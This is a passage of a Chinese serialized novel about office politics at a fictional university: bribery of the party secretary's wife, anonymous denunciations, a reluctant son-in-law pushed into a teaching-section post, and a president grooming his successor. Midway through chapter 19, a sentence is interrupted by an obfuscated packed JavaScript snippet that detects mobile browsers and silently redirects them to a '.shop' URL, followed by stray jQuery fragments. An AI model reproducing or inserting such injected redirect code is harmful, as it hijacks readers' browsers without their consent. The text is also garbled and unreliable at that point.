梅大镛卸任院长后,卓娅和孟超的争夺战日趋白热化。有了吴若甫的支持,孟超现在重点攻打书记许继武的“堡垒”。在楚江大学民间早有传闻:升职靠“鼠”(许),“鼠”不如“钱”。钱指的是许继武夫人钱曼莉。钱曼莉在司法系统工作,作风泼辣、行事果决,深得许继武的信任和依赖,自然对学校干部任免拥有极大话语权。楚江大学民间有一个笑话:提拔有没有戏,可以通过去许书记家拜访时从钱曼莉的表现窥斑见豹。寥寥数语便被打发了事的基本没戏;能坐下交谈片刻的尚有希望;如果能得到钱曼莉亲自冲泡的好茶光明在前。当然,这样不同的待遇取决于来人馈赠的多寡轻重。 孟超对此洞若观火。他知道许继武一直有“玩玉”的嗜好,特意精心准备了一尊质地上乘的“和田玉”佛像。在得到钱曼莉亲自冲泡“大红袍”的礼遇后的一个礼拜,孟超就得到了钱曼莉的口头“承诺”。 秦冰纶一直在密切关注财经学院院长的选拔问题。孟超是自己的劲敌,卓娅是色厉内荏的“草包”。然而,两害相权取其轻。秦冰纶的心早就倾向了卓娅。在了解到孟超势头凶猛后,她不禁替卓娅操起心来。 这天晚饭后,看见卓娅一个人走向校园西北的月季园。秦冰纶悄无声息地跟了过去。 卓娅已经发现了远远跟在后面的秦冰纶。她对秦冰纶素来没有什么好感,本能地加快脚步想摆脱她。没想到秦冰纶在后面紧走了几步,亲热地喊着“卓院长”。卓娅只好停下了脚步。 卓娅有意端出“出身名门”的架子。秦冰纶毫不在意,脸上绽放出毫无破绽的崇拜:“卓院长真有眼光和品味。这里的月季开得最好,因为有些偏远没几人欣赏。真有些可惜了。” 明知是奉承,卓娅却受用。她低头在一朵硕大的粉色花苞上嗅了一下,秦冰纶借机赞叹起来:“哎呀,人比花娇啊,要是有摄影师在,那肯定成经典的。” 卓娅的防范开始松懈。刚走了几步,秦冰纶忽然惊讶了一声:“卓院长你的脸上怎么有暗斑啦?”说罢,她从手包里取出一套早有准备的昂贵护肤品,故作推心置腹:“女人啊,职场不易。楚大处级干部有几个女的,真是太不公平了。唉,和这些感觉良好的男人共事,压力大啊。” 一席话瞬间引发共鸣。本来虚推了几下的护肤品最终落入到卓娅随身的挎包中。 关系自然近了几分,说起话来就可以推心置腹。秦冰纶故作神秘道:“大家都传您要接梅院长的班呢。要是这样就好了,至少学院有三位女院长了,到时候互相有个照应。” 卓娅目光有些黯淡:“冰纶,我哪是那人的对手呀。” 秦冰纶自然知道卓娅所指,故作轻蔑地说道:“如果这样吃喝嫖赌的人上来,你们财经学院今后难啊,卓院,不是我说你,你呀还是太实诚。我都替你憋屈。” 秦冰纶的仗义执言让卓娅大为感动,急问因应的对策。秦冰纶看看四下无人诡秘地说道:“你不是器重肖志阳吗?他那个爱人江小北是个厉害角色的呀。” 卓娅有些开了茅塞,再无心思赏花,道谢后匆匆离去。 第二天下午,校纪委书记拿着两封举报孟超“与秘书胡莎莎关系暧昧”、“公款吃喝玩乐”的匿名信走进许继武办公室。许继武看都不看一眼,直接将信塞进了抽屉。纪委书记刚走,梅大镛手里晃着同样的举报信来找许继武。许继武含笑着说道:“老梅,我看你就别掺和了。安心弄好你的工作室吧。接班人问题,我和吴校长已经有了共识。” 这话既是警告,也是暗示。 很快,孟超任职财经学院院长的红头文件正式下发。 秦冰纶料定无力回天,转而继续实施“第二方案”。她特意约卓娅茶叙,明为安慰,实为继续煽风点火,将卓娅对孟超的嫉恨之火燃得更旺,为日后长久斗争埋下伏笔。 钟德君被提拔为教研室副主任后,因为“从龙有功”,又被院长孟超安了顶“院办副主任”的帽子,因此整日里意气风发,对学院里的权力游戏乐此不疲。冷眼旁观的顾明远担心好朋友惹火烧身,好心劝他,却被钟德君嘲笑“书生迂腐”,气得他在当天的日记里大发感叹:象牙塔内,知识似乎成了权力的点缀,而非追求的目标。那些冠冕堂皇的学术之争、理念之辩,剥开外壳,多是赤裸裸的名利权欲。所谓大师,有时不过是一场精心编排的戏剧主角。而我,只愿做一个安静的读者,而非蹩脚的演员。 秋风依旧扫着落叶,校园依旧书声琅琅,仿佛一切如常。只有那纷纷坠落的梧桐叶,无声地记录着这片学术江湖之下的暗流涌动与人性浮沉。 19. 身不由己 当许继武告诉吴若甫上面特批他延迟半年退休的消息时,吴若甫脸上并未显露过多欣喜,眼角深刻的皱纹里藏着不易察觉的光芒。他清楚这延迟的半年,绝非是为了让自己“主持大局”,而是对他的一种认可和尊崇。现在,吴若甫的目光开始投向了未来半年的布局上:外殖更多亲信,内扶女婿“上道”。 在吴若甫看来,女婿顾明远学历高,有想法,为人耿直而率真。如果将来“从政”,最缺的还是“火候”与“东风”。火候得靠他自己去不断修行,东风则离不开深谙权力运行规则的老泰山的催动。接下来的半年,吴若甫的日程精准得像瑞士钟表,每一步都暗含着机巧和谋略。他甚至已经为女婿规划好了“入仕路线图”:第一步是造势。在一些会议及干部面前不经意地提及顾明远。第二步是织网。精心选择场合带上顾明远,让他结识更多关键人物。第三步是铺垫。开始有选择地“拜托”几位他提携过、如今身居学校要职的“老部下”,重点自然是副校长周濂。 简言之,吴若甫要将自己剩余的政治影响力,精准地地“兑换”成对女婿未来的庇护和提携。如果一切顺利,意味着吴若甫只是换了一种方式继续书写他的政治生命,通过顾明远延续他的理想、他的影响,乃至他的血脉。 顾明远和吴雅娟的结婚让秦冰纶认清了一个事实:木已成舟,只能认命。当她亲眼见证顾明远与吴雅娟交换戒指时,心里已然清楚:原本以为只待她优雅下箸的“菜”如今已被人连锅端走,她先前所有的“投资”与“预热”都瞬间失去了意义。 出于一种本能的心理防御,秦冰纶现在对顾明远明显倾斜的“照顾”开始回撤和降温。以往对顾明远的一路绿灯大多变成了公事公办,但又不至于露骨:该给的资源不少,但绝不多给一分;该肯定的成绩会肯定,但措辞不带任何私人色彩;该指出的问题也毫不含糊,甚至更为严厉。她让自己的一切行为都既符合规章和逻辑,又彰显风度和涵养。 当然,只有秦冰纶自己清楚,这副冷静理智的面具之下,那份原初的欲望并未消散。因为吴若甫的影响,她转而像一名老练的猎手,耐心地蛰伏着、观察着,一旦吴若甫退休后影响力消退,也许机会还会自天而降到自己身上,到时候偶尔从吴雅娟的餐盘里尝尝顾明远这道“菜”顾明远这盘菜还是极有可能的。至于眼前,主动上钩的林书锦还是可以充当临时“替代品”来缓解寂寞的。 这天,秦冰纶向周濂汇报完工作后准备离开时,周濂示意她稍留片刻,表情有些怪异地问道:“你这个新院长是不是忘了什么事啊?” 秦冰纶怔了一下,低下头思忖了片刻,似乎并未找到答案,只好柔声央求周濂:“周校您知道我脑子笨的嘛。” 周濂笑了笑:“我只问你,前些时候他们财经学院有什么变化没有?” 秦冰纶以为周濂问的是对梅大镛挂牌建立“梅大师工作室”,忍不住撇着嘴嘲笑了一通。 周濂叹了口气:“你们这些人呀,心眼就不能大一些呀。成立就成立了呗。再想想,它们还有什么变化?” “孟超做院长了呗。”秦冰纶眼神有些幽怨地说道。 周濂摇了摇头:“看来冰纶还是不够敏感啊。他们一次性提拔了四名副科级干部,你就没注意到?” “他们这是乱弹琴,搞得像菜市场批发似的。”秦冰纶几乎是脱口而出。 “是吗?你只是这么看?” “那周校长您的意思?” “你不觉得在这个问题上,你们历史学院应该向人家学习吗?我看孟超他们挺有手腕的。你们这些年轻院长要懂得,培养年轻干部可是一件硬本事呢。” 周濂的严峻眼神让秦冰纶有些不安,而对孟超的肯定更是让她变得敏感起来,她不想将责任揽在自己肩上,便带情绪抱怨道:“周校您是知道的,现在院里的老师们眼里只有自己的职称,至于其他一点兴趣都没有。” “我可听说人家财经学院的老师们的热情高得很呢。” 秦冰纶不敢继续辩白。周濂缓和了一下语气:“现在有一个利好消息。昨天吴校长亲自主持会议,将教研室主任这个层级干部的任命权力下放给了学院,你们思想可以解放一些嘛。” “问题是我们院五个教研室主任都是满的呀?” 看见秦冰纶似懂非懂的样子,周濂干脆打开了窗子:“中国古代史教研室的教研室主任老马不是下个月要退了嘛。你没提前做打算?” 秦冰纶这才回过神来。就在上个月,班子就接任人选议过一次,因为大家对副院长孙启亮极力举荐的周青意见分歧很大,此事便一直搁了下来。 秦冰纶试探着说出了“周青”的名字。周濂脸色大变,眉头皱得小山似的:“冰纶啊,看来你还得多磨练磨练啊。”顿了顿,周濂语气变得异常严肃:“孙启亮什么人你应该清楚呀。再说周青都快五十了吧?那个教研室现在十几号人,难道没有一个合适的年轻人吗?” 秦冰纶觉察到周濂今天似乎不是无心之语,有些不情愿地报出了“顾明远”的名字。 “这就对嘛。顾明远现在在学校已经有了一些名气,这几年也为你们历史学院争得了不少荣誉。是公认的好苗子嘛。” 事到如今,秦冰纶才彻底弄清周濂的意图。她不想轻易就范,故作犹豫地说道:“问题是他整天忙于自己的教学科研,对这个似乎没有兴趣啊。再说,孙副院长好像对他意见还不小的。” 周濂有些不耐烦起来:“你没给人家平台,怎么就知道他没兴趣?你现在是历史学院的一把手嘛,连孙启亮也搞不定?” 很少发火的周濂锐利的目光让秦冰纶感到了压力。回到办公室,秦冰纶把心腹沈菊英拉进了办公室。 沈菊英对推选顾明远一百个赞成:“这样多好啊,一步到位,抵得上财经学院四个副主任嘛。” “你说得轻巧。顾明远解决了,那同时来的林书锦还有资历更久的翟涵声怎么办?” 沈菊英耳闻了一些秦冰纶和林书锦的“趣闻”,知道她提出翟涵声无非是个陪衬,便信口说道:“那也像财经学院将这两位聘为副主任呗。” 沈菊英的这个提议很合秦冰纶的心意。她让沈菊英下班后组织一个饭局,想借机探探班子成员的口气。当沈菊英漫不经心说出秦冰纶的意图时,孙启亮将酒杯往桌上一撴,梗着脖子、翻着白眼呛起声声:“凭什么?顾明远才来了四年不到吧?” 沈菊英恨不得伸出手指要薅他那头顶上所余不多的几根头发。 这个孙启亮说起来在楚江大学也算是个传奇。毕业于北师大的高材生,33岁就破格提拔成了楚江大学最年轻的副处级干部。就在人们开始预测他的仕途将会步上铺满锦绣的云梯的时候,因为一次师生关系的手法处理欠佳被人捉了现行,孙启亮的仕途遽然间象是一场被突然断电的舞台剧——主角还悬着未落的话音,布景已经开始哗啦啦塌成遍地碎影。最后还是仰仗时任副校长的吴若甫的帮腔,保住了副处长的位子。屋漏偏遭连夜雨。两年后,老伴因为肺癌撒手人寰,儿子两次高考失利得了抑郁症。孙启亮的人生一地鸡毛,性格也一天天地古怪起来,用了十三年的时间慢慢熬成了如今楚江大学资历最老的副处长。自从去年秦冰纶转正成为学院院长后,孙启亮开始有点破罐子破摔的味道,在院务会上对秦冰纶发难是常有的事。 当然,如果说孙启亮强烈反对顾明远仅仅是为了杯葛年轻的秦院长,确实有点冤枉了他。在孙启亮的心中,其实更重要的原因上他心里早就有了中国古代史教研室主任的人选,她便是副教授周青。周青是一个单身母亲,性格温柔,善解人意。尤其在自己老伴去世后,周青更是嘘寒问暖、体贴入微,当孙启亮流露出退休之前想解决正高职称时,周青已经主动代笔帮他发了几篇文章,这让孙启亮心里几乎已经将周青当做了红颜知己一般的人物。现在,如果让顾明远如了愿,那已经年过四十五的周青一点机会都没有了。 孙启亮的反应其实在秦冰纶预料之中。她故意问起了孙启亮反对的理由。孙启亮当然不能直接说出周青,只好梗着脖子给顾明远安了一通“只搞个人奋斗不想服务别人”、“恃才傲物瞧不起人”的罪名。 秦冰纶知道和孙启亮这样的人硬扛是不会有结果的。在沈菊英的提醒下,她找到了好友莫笑非。 清明过后,连日的阴雨收了神通,太阳从云缝里挤出脸来,大着胆子将温吞吞的光泼洒下来。秦冰纶特意备了一份“明前茶”来到了“荆楚大先生工作室”。 自从秦冰纶做了院长后,莫笑非似乎对她的每次来访都显得特别兴奋和殷勤。当秦冰纶递上“明前茶”时,莫笑非无意间碰了碰了一下她那雪藕一样的手臂,秦冰纶也不在意,杏眼微微乜斜地放着光,直要钻到莫笑非的心里去。 莫笑非起身想要掩上门,秦冰纶却故意提高声音对外面的顾明远喊道:“顾秘书,你就不能给我倒杯水吗?” 莫笑非只好停住了脚步。 秦冰纶将送完茶的顾明远打发到了沈菊英那里去取材料,这样方便自己和莫笑非讨论问题。听完秦冰纶的来意后,莫笑非挠着头发稀疏的后脑勺打起了哈哈:“这事儿难办啊,老孙早不听我的了。” 秦冰纶早有准备,小声说道:“对了,莫老您不是一直想换换学术秘书吗?” 莫笑非浑浊的眼珠通了电似的迸出两点精光来。 秦冰纶趁热打铁:“我最近考虑了一下,江小北现在是您的研究生,教师资格证也顺利拿到,这样做您秘书的条件就没问题啦”,秦冰纶故意停顿了一下后说道:“当然,这还得去做各方面的工作。” 莫笑非嘴角抽动了几下:“这样呀,那我试试看吧。” 事情谈完,秦冰纶也不顾莫笑非的挽留,灿笑着和莫笑非握手道别。 没过两天,孙启亮竟然难得地主动走进了秦冰纶办公室。在同意顾明远的任职后,吞吞吐吐表达了希望学院帮助自己退休之前评上正高职称。 孙启亮还有两年退休。讨厌之人也有可怜之处。其实秦冰纶早就有帮他一把的想法。竟然人家不在做拦路虎,那就送个顺水人情好了。 本以为万事俱备,没想到竟然在当事人顾明远那里卡了壳。 当秦冰纶将院里的意见奉献出来时,顾明远脱口而出说了句“能不能让别人去做教研室主任啊?”甚至拿出秦冰纶在某次会议上讲的“年轻教师要不务虚名一心一意潜心业务”话当起了挡箭牌。 气得一旁的沈菊英要跳了起来:“你这不是皇帝不急太监急吗”,忽然意识到这个比喻似乎不妥,粗着嗓门骂道:“你简直是不识好歹。你知道秦院长为了你的事情花了多少心血嘛。” 秦冰纶心里反而有几分高兴:这就怨不得我了。正好对周校长也有个交代。但是,她的脸面上写满的全是怒火心里也很恼火,冷着脸说道:“有意见去找周校长提去。” 顾明远把秦冰纶的话当了真,当即来到行政楼来找周濂副校长。因为周濂在外出差吃了个闭门羹。 晚饭后,吴雅娟拉着顾明远去磨山骑车兜风。当顾明远说出不想做教研室主任的想法时,吴雅娟气得从自行车上跳了下来:“你这是干吗呀?这么好的机会,别人都是从副主任做起,你一步到位还嫌不够?” 顾明远心里不免有点失望,说起话来就带了些意气:“怎么是嫌不够呢?我是根本不想做,天天扯皮拉筋牵扯精力,耽误了我搞科研。” 吴雅娟没好气地拍了一下自行车铃铛,冷笑一声:“看来你真是个呆子。都什么时代了?你以为现在写几篇论文就能上天呀?告诉你吧,在楚江大学的地盘上,你课讲得再好,论文发得再多,没有人脉和后台,一切都是白搭。” 吴雅娟的训斥口吻让顾明远有点反感:“照你这么说,楚江大学还要老师干吗?都去当官好了。” “你这不是抬杠嘛。我的意思你现在有个教研室主任垫底,将来一步一步做个副院长院长,人脉就起来了,到时候课题、教授都是水到渠成的事。懂吗?” “莫笑非不也没有一官半职嘛。” “得了,你懂什么呀。他的那个学术委员会主任不比处长、院长厉害?当年为了这个主任,他都差点要和梅大镛决斗了。为什么?你不懂呀?” 看见顾明远仍然不开窍的样子,吴雅娟急了:“这事不能能由着你的性子,这个教研室主任你当也得当,不当也得当,不然我爸的心思就白费了。” “怎么又扯上你爸了?”乡下人敏感的自尊心在顾明远的心中早就扎下了根,他不希望自己是一只被人钉在标本框中的蝴蝶,而是按照自己的意愿凭着自己的实力去走自己想走的路。受不了吴雅娟的喋喋不休,顾明远说了句“你们能不能别替我做决定了”,踮起脚尖跨上自行车自顾着走了。 从女儿吴雅娟那儿听说了顾明远的态度,吴若甫心里起了些疙瘩。其实这也是他不满意顾明远的地方。通过这两年的观察,顾明远的品行和才学固然都是翘楚,但身上文人的执拗和短视日益显露,这与她对顾明远未来道路的设计相去甚远。 站在窗前,看着爬山虎正顺着铁栅栏疯长,吴若甫喃喃自语道:年轻人可不就象这些爬山虎,如果刚冒尖时不修,等长歪了再动斧子,那可就晚喽。 为了避免逆反,吴若甫让周濂和顾明远聊聊。当周濂板着脸讲了一通“不谋全局者不足以谋一域”“年轻人看问题熬风物长宜放眼量”“象牙塔也是社会,社会上有的象牙塔里也不会少”道理,并说出“服从组织”的警告时。顾明远在心里长叹了一口气,最终选择了屈服,糊里糊涂地“入仕”了。 连日来,面对来自四面八方不怀好意的祝贺,顾明远一点也高兴不起来。他站在办公室的窗前,望着外面渐渐暗下来的天色,心中五味杂陈。他想起自己当初选择楚江大学的“初心”不过就是做个纯粹的教师和学者,可是如今,很多事情似乎被一种无形的力量牵引着,让自己无力拒绝和抗拒。他不得不想起父亲常说的“当官才有出息”的话来,现在看来,父亲至少在楚江大学是能够找到共鸣的。是啊,这四年来,他何尝没有看出:在这座象牙塔里,职务和权力就意味着资源和平台啊。吴若甫如此,周濂如此,秦冰纶孟超他们莫不如此? 吴若甫刻意选择了顾明远任命后的一个礼拜在家里召见了他。 让顾明远没有料到的是,吴若甫竟然将副校长周濂也请来了家里。 当着吴若甫的面,周濂狠狠表扬了顾明远一通:“吴校长你看得准啊。小顾就是一个能文能武的复合型人才嘛。听秦冰纶讲,他这头一个礼拜,就将教研室的大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904220|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情安排得有条不紊的。” 顾明远心里一百个不满却化成了“在其位谋其政”“还差得远得很”这样言不由衷的套话。 吴若甫满意地点点头:“有这种谦虚的态度很好。不过该担当的时候也要担当起来。”他转向周濂:“今后周校长还是要多指点指点年轻人。” 周濂谦逊地点头:“璞玉终将会成器的。” 顾明远觉自己像是一件商品,正被两人不停地估价和推销。这一刻,他突然明白,在这场游戏中,他早已失去了说不的权利。 送走周濂后,谈话似乎才进入到正题。关上书房门,吴若甫的表情变得严肃起来:“明远,我知道你心里有疙瘩。但你要明白,在这个体系中,没有权力就没有话语权。你想安心做学问?没有一定的地位和资源,你怎么争取科研项目?怎么组建专业团队?怎么实现你的学术理想?” 顾明远沉默着。道理都懂,内心却不愿接受。 吴若甫语气缓和了些:“我知道你不习惯权术游戏。但你要记住,权术本身没有好坏,关键在于你怎么使用它。如果你能站在更高的位置上,就能为更多的人做实事,推动更大的改革。这难道不比你一个人埋头研究更有意义吗?” 这些话像重锤一样敲在顾明远的心上。他不得不承认,岳父的话有一定道理。但他仍然担心,在这个过程中,自己会慢慢变成自己讨厌的那种人。 回到家中,顾明远一夜无眠。他站在阳台上,望着远处城市的灯火,内心进行着激烈的思想斗争。一方面是对学术理想的执着,另一方面是对现实利益的考量;一方面是自己的意愿,另一方面是家人的期望;一方面是纯粹的学者生活,另一方面是复杂的权力游戏。 天刚蒙蒙亮,顾明远望着窗外泛白的天际,终于做出了决定:既然推不掉这个教研室主任的担子,那就守住“学高为师,身正为范”的底线,尽力而为。 任命下来半个月,年度课题申报工作就摆在了眼前,成了检验顾明远这个新任主任的第一道考题。当学院审发的课题结果下达到教研室时,顾明远有些不敢相信自己的眼睛——教研室全票推荐排名第一的刘倩倩老师的课题竟然榜上无名,而仅获两票排名第五的周青副教授的课题却赫然在列。 顾明远二话不说,直奔分管科研的副院长孙启亮办公室。 孙启亮正端着茶杯看报,看见顾明远进来,慢条斯理地放下报纸。听明来意后,他习惯性地将一缕垂落的发丝拨至头顶,下巴微微上扬:“这么说,小顾对院里的决定有意见?” 顾明强压着不快:“意见谈不上。只是觉得学术上的事,是不是该尊重教研室的民主评议?” 孙启亮眼中闪过一丝冷光:“你的意思是周副教授不够格,刘讲师才够资格?” “孙院长,我是就事论事。院里也没规定课题申报要和职称挂钩吧?”顾明远不卑不亢。 孙启亮心里有些恼火,但惮于对方是校长的女婿,语气不得不软了几分:“小顾啊,你这刚做主任,也要懂得服从组织决定的吧?” 顾明远却不吃这一套:“我们教研室经过充分讨论,院里把排名第五的换成排名第一的,我不知道这样的决定依据何在?我回去怎么向教研室交代呢?” 孙启亮自知以周换刘是自己的个人决定,担心顾明远把事情闹大,忙起身泡茶示好:“多大点事。这样吧,给你们教研室特批一个名额,让刘老师的课题入围。” 顾明远没想到严肃的课题申报在孙副院长口中如同菜市场的白菜,说改旧改,说添就添,觉得十分不能理解,本想继续争论,想起夫人吴雅娟“新官夹着尾巴”的叮嘱,只好忍下这口气。 正要离开,孙启亮从身后叫住了他,语调忽然客气起来:“对了,有件事想请你这个才子帮忙。”说着从抽屉里取出一张纸递给他:“我拟了个论文提纲,最近实在忙不过来,你学问好,帮忙指点指点?” 顾明远接过一看,纸上只有“历史学中的家国情怀”几个大字和三个歪歪扭扭的小标题,立刻明白所谓的“指点”不过是捉笔代写的借口。 顾明远捏着那页轻飘飘的稿纸走出孙启亮办公室的门。脸上勉强维持的平静在转身的瞬间彻底垮塌。心里嗤笑一声:“一个连论文都让人代笔的人也配谈‘情怀’?”那歪歪扭扭的铅笔字,与其说是学术灵感,不如说是对学术二字最大的亵渎。一股混合着恶心与愤怒的情绪在他胃里翻搅。他感觉自己不像个教师,倒像个亲手帮着窃贼粉饰偷盗行为的同伙。学术?在孙启亮眼里,恐怕不过是菜市场可以随意添减的白菜,是官场上可以随意交换的筹码,是装点自己秃顶脑袋的几根可笑发丝吧?尤其让他难以接受的是,在自己眼里神圣而又纯粹的学术,如今在权力面前竟轻贱得像一张可以随意递过来、要求“打磨”的草稿纸。自己刚刚定下的“学高为师,身正为范”底线,眼看着马上就要失守了。 回到教研室,顾明远气得将那张纸揉成一团扔进纸篓。恰巧周青下课回来,顾明远知道她与孙启亮关系不一般,生怕被她发现了秘密,只好趁她不注意时将纸团拣了回来。 为防孙启亮敷衍自己,顾明远又硬着头皮去找秦冰纶。秦院长听了来意有些诡异地笑了起来:“顾主任对刘老师的事很上心啊。”话里带着几分调侃。 顾明远没听出弦外之音,只顾急切解释,说是刘老师的课题具有填补空白的价值。 看着顾明远急得满脸通红的样子,秦冰纶笑了起来:“行啦,孙院长刚刚过来说了,给你们教研室增加一个指标。怎么?你觉得周青的选题不行?” “嚼别人吃过的馒头有什么意思呢。关键是教研室评议时只有两票,很能说明问题。” “那要不撤掉?”秦冰纶故意试探。 顾明远话一出口就后悔了——周青的课题再不堪,毕竟也算教研室的成果,多一个名额,他这个新主任脸上也有光。于是急忙找补:“不过话说回来,周教授为这次申报确实付出了大量心血,资料准备得也相当扎实……。” 秦冰纶脸上带着一丝玩味的讥诮:“哦?刚才还说嚼别人吃过的馒头,转眼就夸起馅料扎实了?顾主任这见风使舵的本事,倒是无师自通。”她故意顿了顿,欣赏着对方越来越红的耳根,才慢悠悠地补上最后一句:“要不说周校长私下里总夸你,说你很有做官的潜质呢。” 这话像一根柔软的羽毛,却带着尖,轻轻巧巧地戳在顾明远最不自在的地方。他的脸霎时红透,连脖颈都漫上一层薄红,像是被人窥破了心底那点刚刚萌生的、连自己都鄙夷的算计,窘迫得几乎无地自容,嘴唇嚅动了几下,却一个字也吐不出来。 他这副生涩局促样子与故作圆滑世故的林书锦形成鲜明的对比,这恰恰撞中了秦冰纶心底某种隐秘的痒处。在秦冰纶看来,顾明远这种想学却还没学会、带着点知识分子笨拙的耿直和偶尔被迫的妥协,更加生动有趣,惹人动心。她的目光掠过他滚烫的脸颊,语气中带些亲昵:“看来我们顾主任这脸皮儿还嫩得很,急需‘增厚’一下才能胜任领导岗位呢。要不找时间我给你补补课?” 这话里的双关和试探几乎不加掩饰,像小钩子一样抛出来。办公室里的空气瞬间变得粘稠而暧昧。顾明远只觉得脸上的热度轰一下烧到了头顶,心跳如鼓,彻底乱了方寸。 20. 钓鱼之术 楚江大学的银杏叶尚未完全染金,一场关乎未来权力格局的暗流已在校园深处涌动。校长吴若甫站在办公室窗前,目光越过图书馆穹顶,投向更远的远方。这位执掌楚江大学十余年的老校长,眼看延迟时间已经过半,遴选接班人的事宜已然迫在眉睫。 “立足当下,着眼未来。”吴若甫喃喃自语,指节轻轻敲打着窗棂。这句话他在不同场合说过多次,但每次说出口,心中所想的“未来”都不尽相同。有时是学校发展的未来,有时是他个人影响力的未来,有时又是女婿顾明远的未来。 想到顾明远,吴若甫心中总会泛起一丝莫名的担忧。这个书生气十足的女婿虽然终究还是接下了教研室主任的担子,但内心对行政的厌倦甚至反感经常有意无意地从言语间泄露出来。中现在才刚刚起步呢,万一被人抓住把柄并加以利用,那自己的一腔心血不都要白费了么? 敲门声打断了他的思绪。办公室主任冯伟轻步进来,将一份文件放在桌上:“吴校长,这是许书记那边作的近期校外交流名单,带队领导几乎都是江川副校长。” 冯伟是吴若甫一手带出来的,后面那句话自然是有意的提醒。吴若甫瞥了一眼名单,不动声色地点点头:“放这儿吧。” 待门关上,吴若甫这才拿起名单仔细研究起来:三拨外出考察,全都是江川领衔。吴若甫明白,这绝非许继武无意为之,他是想通过给江川“压担子”让他立信树威。看来这位看似“清静无为”的书记,已经开始在接班人问题上提前布局。 许继武表面上确实以“清静无为”的形象示人,甚至多次和吴若甫个别交流时都表达过“现在的副职谁胜出都可以接受”这样的意思。但知道底数的人都明白,这只是表面文章而已。在夫人钱曼莉的力荐下,许继武早已倾向江川并开始悄悄布局。 这天晚上,许继武坐在沙发上心不在焉地翻阅报纸,一看心思并不在上面的文字上。 钱曼莉嗅觉灵敏,端着一盘刚洗好的水果走过来,轻轻放在茶几上。 “老许,是在为校长人选的事烦心呢?” “嗯。”许继武放下报纸,揉了揉太阳穴:“今天吴校长挑明了支持周濂的态度。” 钱曼莉递过一片苹果,看似不经意地说:“周濂不是吴若甫的嫡系么?” “我看老吴的态度挺硬的,理由还很充分,周濂任职时间比江川早一年,而且还是博士生导师。” 钱曼莉看了一眼手腕上江川送来的纯金手镯款款说道:“校长主要看的还是管理能力吧?这事你可不能由着老吴的性子,将来是要和你搭班子的呢。周濂现在都事事听从老吴的,如果当了校长,那不和你对着干才怪呢。” “是啊,我不也是在想这件事嘛。”许继武抬头看了妻子一眼:“江川条件还是弱了些呢。” “条件不条件的,看你怎么看。我就觉得吧,江川这人热心快肠对你也很尊敬。你还记得去年你爸住院那件事吧?要不是江川协调了省人民医院的‘江一刀’,你爸险些命都没了。” 钱曼莉的话击中了许继武的心坎。钱曼莉继续说道:“要说能力,我觉得江川并不比周濂差。你看他分管的人事和国际交流,这几年不是都有声有色吗?那个海外中心的挂牌给你们楚江大学带来多大的荣誉呀。周濂学术上是强,但个性那么强,你将来能控制得了吗?更何况他是老吴一手培养的‘干将’,将来走的肯定是人家老吴的路线啊。” 许继武静静地听着,没有立刻反驳。钱曼莉不再多言,轻轻拍了拍他的手背:“我就是这么一想,最终还得你拿主意。吃水果吧。” 许继武拿苹果的手举在半空,目光再次投向窗外,陷入了更深的思索之中。夫人的话,像一颗投入平静湖面的石子,在他心中漾开了一圈圈涟漪,尤其吴若甫在校内外的影响力让他有些忌惮和担忧。 为了尽快落实继任人选,平时喜欢足不出户的许继武悄悄去了两趟组织部门,聊到最后竟然都是以“回去后和吴若甫同志一起商量商量”作为结尾。 只要两人一起探讨这个问题,吴若甫几乎都是不容置疑提出自己的观点:现有班子成员中,周濂是最合适的人选。 每到这个时候,性格软和的许继武总会打起太极:“这事要不还是多听听各方面的意见吧”。 吴若甫似乎一点也不打算退让:“听取建议可以,但目标必须要先明确。现在有的同志像春天的映山红,开得热闹,但经不起倒春寒;有的同志像冬天的松柏,稳当是稳当,但少了些抽枝发芽的劲儿。” 许继武当然知道他是在影射江川和汤中臣。不等反驳,吴若甫的理由更加充分:“周濂是继老莫之后的第二位博士生导师,在楚江大学二十几年来,根扎得深,叶长得茂。如果从校内选拔,他自然是最合适的。” 许继武脸上总是保持微笑:“有人反映小周行政魄力不够呀。”他有意将“小周”说得重了些。 “魄力不够?”吴若甫提高声调:“你看看他上个月处理两起教学事故的果断,能说他魄力不够?我当时还批评他过于急躁了呢。” 吴若甫说话底气十足,这不仅源自他与上头的关系,更因为自己必须要打好的“小算盘”。周濂是他一手培养起来的,对自己的耿耿忠心已经通过了无数次考验。这样的人继任,自己最放心,未来也最有保障。 这并不意味吴若甫对周濂就有绝对的信心。从这些年的观察来看,周濂学术上确实是把好手。恰恰也是这个长处,让他显出韧性不足易折而非能屈的短处来。处理人际时不够圆融,缺乏必要的妥协与怀柔,此为其一;行政手腕上过于直来直去,不懂迂回与平衡的艺术,此为其二;加之平日疏于经营上下关系,人脉根基浅薄,此为其三。这三者,皆是成为一校之长的大忌。简言之,周濂实非统帅之才。 仅凭周濂对自己的绝对忠诚,吴若甫仍然笃定认准了他。 现在,他要做的是点拨点拨这位得意门生。 这正是周濂求之不得的。适逢周末,他特意挑了郊外一处幽静的休闲山庄请校长钓鱼。 钓鱼是吴若甫除书法、象棋之外的第三大爱好。他常说钓鱼中蕴含着做官的道理。欣然接受周濂的邀请后,决定从钓鱼入手“调教”周濂。 周濂深信“学得文武艺,货与帝王家”的古训,对接任校长一职几乎已经到了破釜沉舟、志在必得的境地。这从他和老校长吴若甫的目光交流中可见一斑——眼底浮起的一层谦逊的薄雾后面,一直闪烁着熊熊燃烧的火焰。 周濂的策略很明确:在不得罪许继武的情况下,将宝全押在校长吴若甫身上。 清晨的湖边雾气氤氲,两个身影坐在水边,仿佛中国画中的点景人物。钓鱼显然不是周濂的强项,一个时辰过后,依然一无所获。反观吴若甫,半沉在水下的鱼兜里“泼刺泼刺”的响声搅成一团。 晨光在湖面上泛着碎金般的光泽。吴若甫坐在帆布椅上,扶了扶草帽,眼角笑纹里似乎蕴藏着无穷的智慧。他用余光瞥了下周濂,意味深长地说道:“钓鱼啊,其实和治校是一个道理。”说罢故意停顿,慢悠悠抛出一竿,铅坠“咚”地入水,涟漪荡开,像是话里的袅袅余韵。 